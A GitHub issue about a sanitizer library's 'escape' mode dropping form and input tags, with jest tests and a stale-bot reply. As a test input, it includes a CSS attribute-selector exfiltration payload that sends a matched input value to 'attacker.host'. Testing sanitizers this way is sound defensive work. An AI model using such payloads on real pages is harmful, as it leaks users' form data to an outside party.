Issue with Form and Inputs in 'escape' mode

[acourdavault]

Hello, I was trying to use the escape mode for disallowedTagsMode.
Here is an issue I have encountered and I wonder if this behaviour is intended
Tested with v 1.22

I have questions about the transformation of inside of

In the example below i show how:

• a self closed form <form/> gets escaped and has an opening and closing tag (FYi <form></form> is treated the same way)
• BUT a form, with an input tag inside
  • the input tag is discarded
  • the text In the input tag is not
  • the text IN the form but outside the input tag (Username in example) is discarded (whether or not there is an action attribute in form does not seem to affect the outcome)
  • The form OPENING tag escaped is missing

simple jest test for example, with disallowedTagsMode option set

is this normal?

describe('my test', ()=>{
  const escapedForm = `<form></form>`;
  // test passes
  it('Form escaped + not self closing',()=>{
    expect(sanitize('<form/>', {disallowedTagsMode:'escape'})).toBe(ecapedForm);
  });

  // does not pass
  const escapedForm2 = `&lt;form&gt;Username:&lt;input&gt;test&lt;/input&gt;&lt;/form&gt;`;
  it('form and input should pass', () => {
    const form = `<form action="http://192.168.149.128">Username:
    <input type="username" name="username">test</input></form>`;
    expect(sanitize(form, {disallowedTagsMode:'escape'})).toBe(escapedForm2);
  });

 // passes
  it('form and input passes', () => {
    const form = `<form action="http://192.168.149.128">Username:
    <input type="username" name="username">test</input></form>`;
    expect(sanitize(form, {disallowedTagsMode:'escape'})).toBe('test&lt;/form&gt;');
  });
});

Maybe related:
If I test against a style tag, it get s escaped,

<style>#username[value="mikeg"] {background:url("https://attacker.host/mikeg");}</style>

// output expected

&lt;style&gt;#username[value="mikeg"] {background:url("https://attacker.host/mikeg");}&lt;/style&gt;

If I add an input tag after the style tag:

<style>#username[value="mikeg"] {background:url("https://attacker.host/mikeg");}</style><input id="username" value="mikeg" />

Then the output is an empty string..

Could this be related to the input tag?

Is the policy to always discard Input tags whatever the escape policy is?

[stale]

This issue has been automatically marked as stale because it has not had recent activity. It will be closed if no further activity occurs. Thank you for your contributions.